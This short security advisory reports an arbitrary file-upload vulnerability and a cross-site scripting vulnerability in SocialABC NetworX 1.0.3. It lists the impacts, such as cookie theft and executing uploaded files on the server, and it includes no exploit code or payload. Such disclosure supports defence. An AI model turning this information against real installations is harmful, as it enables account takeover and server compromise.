SocialABC NetworX 1.0.3 - Arbitrary File Upload / Cross-Site Scripting

source: https://www.securityfocus.com/bid/41396/info

SocialABC NetworX is prone to an arbitrary file-upload vulnerability and a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

Attackers can exploit these issues to steal cookie-based authentication information, execute arbitrary client-side scripts in the context of the browser, upload and execute arbitrary files in the context of the webserver, and launch other attacks.

NetworX 1.0.3 is vulnerable; other versions may be affected.
